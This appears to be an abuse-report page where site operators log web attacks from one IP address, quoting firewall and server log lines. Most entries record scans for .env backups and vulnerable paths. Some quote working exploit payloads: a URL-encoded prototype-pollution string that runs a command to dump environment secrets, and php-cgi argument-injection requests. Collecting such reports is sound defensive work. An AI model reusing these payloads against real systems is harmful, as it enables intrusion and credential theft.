🇮🇩
YoursMan
2026-10-03 13:30:04
UTC ·
(1 month ago)
[Security-Sentinel-WAF] Web exploit scanner probe (Malicious exploit probe) detected and dropped by firewall.
Hacking
Bad Web Bot
Web App Attack
🇬🇧
Aetherweb Ark
2026-10-03 06:32:03
UTC ·
(1 month ago)
(mod_security) mod_security (id:949110) triggered by 34.74.71.141 (US/United States/141.71.74.34.bc.googleusercontent.com): N in the last X secs
Web App Attack
🇺🇸
lnklnx
2026-10-03 05:17:47
UTC ·
(1 month ago)
git.lnklnx.com:443 34.74.71.141 - - [03/Oct/2026:00:17:46 -0500] "GET /wp-json HTTP/1.1" 403 471 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot)"
...
Web App Attack
🇧🇪
cmbplf
2026-10-03 03:02:35
UTC ·
(1 month ago)
2.110 requests from abuseipdb.com blacklisted IP (3w4d20h)
Brute-Force
Bad Web Bot
🇺🇸
TPI-Abuse
2026-10-03 01:21:06
UTC ·
(1 month ago)
(mod_security) mod_security (id:210730) triggered by 34.74.71.141 (141.71.74.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 02 21:20:59.184767 2026] [security2:error] [pid 22421:tid 22 ...
show more
(mod_security) mod_security (id:210730) triggered by 34.74.71.141 (141.71.74.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 02 21:20:59.184767 2026] [security2:error] [pid 22421:tid 22421] [client 34.74.71.141:46730] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.solidthought.com|F|2"] [data ".solidthought.com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.solidthought.com"] [uri "/z9x8c7v6b5-debug-trigger-www.solidthought.com"] [unique_id "asBYe98q33GqG3YnDJUvsAAAAAY"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇬🇧
consul.to
2026-10-02 22:59:56
UTC ·
(1 month ago)
Web attack/malicious scanning detected
Web App Attack
🇺🇸
kosada.com
2026-10-02 21:28:08
UTC ·
(1 month ago)
Repeated exploit attempts, for example: / 0=%7b%22then%22%3a%22%241%3a%5f%5fproto%5f%5f%3athen%22%2c%22status%22%3a%22resolved%5fmodel%22%2c%22reason%22%3a%2d1%2c%22value%22%3a%22%7b%5c%22then%5c%22%3a%5c%22%24B1337%5c%22%7d%22%2c%22%5fresponse%22%3a ...
show more
Repeated exploit attempts, for example: / 0=%7b%22then%22%3a%22%241%3a%5f%5fproto%5f%5f%3athen%22%2c%22status%22%3a%22resolved%5fmodel%22%2c%22reason%22%3a%2d1%2c%22value%22%3a%22%7b%5c%22then%5c%22%3a%5c%22%24B1337%5c%22%7d%22%2c%22%5fresponse%22%3a%7b%22%5fprefix%22%3a%22process%2emainModule%2erequire%28%27child%5fprocess%27%29%2eexecSync%28%27env+2%3e%2fdev%2fnull+%7c%7c+cat+%2fproc%2fself%2fenviron+2%3e%2fdev%2fnull%27%29%3b%22%2c%22%5fformData%22%3a%7b%22get%22%3a%22%241%3aconstructor%3aconstructor%22%7d%7d%7d&1=%22%24%400%22 (HTTP/2.0 port 443, user agent: "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)")
show less
Web App Attack
🇫🇷
Allolatr
2026-10-02 20:44:20
UTC ·
(1 month ago)
Oct 2 22:44:20 [redacted] j443: ::ffff:34.74.71.141 [redacted].com "GET /manifest.json HTTP/2.0" 301 166 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36" Oct 2 22:44:20 [redacted] j443: ::fff ...
show more
Oct 2 22:44:20 [redacted] j443: ::ffff:34.74.71.141 [redacted].com "GET /manifest.json HTTP/2.0" 301 166 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36" Oct 2 22:44:20 [redacted] j443: ::ffff:34.74.71.141 [redacted].com "GET /webpack-stats.json HTTP/2.0" 301 166 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36"
show less
Bad Web Bot
Web App Attack
🇳🇱
Hans Renses
2026-10-02 18:06:27
UTC ·
(1 month ago)
Web app attack: 15 requests for known vulnerable paths (.env, xmlrpc.php, web shells, config backups) within one hour. Reported automatically by BotZoom.
Web App Attack
Hacking
🇪🇸
robotstxt
2026-10-02 16:38:17
UTC ·
(1 month ago)
34.74.71.141 - - [02/Oct/2026:16:37:46 +0000] "GET /.env.backup HTTP/2.0" 403 49652 "-" "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)" "-"
34.74.71.141 - - [02/Oct/2026:16:37:46 +0000] "GET /.env.bak HTTP/2.0" 403 49583 "-" "Mozi ...
show more
34.74.71.141 - - [02/Oct/2026:16:37:46 +0000] "GET /.env.backup HTTP/2.0" 403 49652 "-" "Mozilla/5.0 (compatible; Qwenbot/1.0; +https://qwen.alibaba.com/)" "-"
34.74.71.141 - - [02/Oct/2026:16:37:46 +0000] "GET /.env.bak HTTP/2.0" 403 49583 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-User/1.0; [email protected] )" "-"
34.74.71.141 - - [02/Oct/2026:16:37:47 +0000] "GET /.env.old HTTP/2.0" 403 49649 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" "-"
34.74.71.141 - - [02/Oct/2026:16:37:47 +0000] "GET /.env.save HTTP/2.0" 403 49651 "-" "Mozilla/5.0 (compatible; YiBot/1.0; +https://01.ai/)" "-"
34.74.71.141 - - [02/Oct/2026:16:37:47 +0000] "GET /.env.prod HTTP/2.0" 403 49649 "-" "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)" "-"
...
show less
Web App Attack
🇨🇦
TechnoSolutions CL
2026-10-02 15:33:27
UTC ·
(1 month ago)
34.74.71.141 - - [02/Oct/2026:15:33:27 +0000] "POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0" 405 150 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://opena ...
show more
34.74.71.141 - - [02/Oct/2026:15:33:27 +0000] "POST /cgi-bin/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0" 405 150 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"
34.74.71.141 - - [02/Oct/2026:15:33:27 +0000] "POST /cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/2.0" 405 150 "-" "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)"
...
show less
Hacking
Brute-Force
Bad Web Bot
Web App Attack
🇫🇷
masterguru
2026-10-02 14:47:35
UTC ·
(1 month ago)
(modsec_5080) ModSec 5080: Infrastructure subdomain probe from 34.74.71.141 (US/United States/141.71.74.34.bc.googleusercontent.com): 2 in the last 3600 secs (0-196)
Hacking
🇺🇸
TPI-Abuse
2026-10-02 14:22:45
UTC ·
(1 month ago)
(mod_security) mod_security (id:210730) triggered by 34.74.71.141 (141.71.74.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 02 10:22:38.542025 2026] [security2:error] [pid 28057:tid 28 ...
show more
(mod_security) mod_security (id:210730) triggered by 34.74.71.141 (141.71.74.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 02 10:22:38.542025 2026] [security2:error] [pid 28057:tid 28057] [client 34.74.71.141:48796] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||solderhead.com|F|2"] [data ".com"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "solderhead.com"] [uri "/z9x8c7v6b5-debug-trigger-solderhead.com"] [unique_id "ar--LmyXoWUbAq31OXnPFgAAAB0"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇮🇩
YoursMan
2026-10-02 13:30:03
UTC ·
(1 month ago)
[Security-Sentinel-WAF] Web exploit scanner probe (Malicious exploit probe) detected and dropped by firewall.
Hacking
Bad Web Bot
Web App Attack
🇫🇷
ecode hosting
2026-10-02 12:07:05
UTC ·
(1 month ago)
Domain : sofsis.ermedmedical.com
Rule : UserAgent
2026-10-02 12:04:35 10.100.1.20 GET /api/v1/settings - 443 - 34.74.71.141 HTTP/2 CCBot/2.0 (https://commoncrawl.org/faq/) - sofsis.ermedmedical.com 404 0 2 1245 392 149 - -
Port Scan
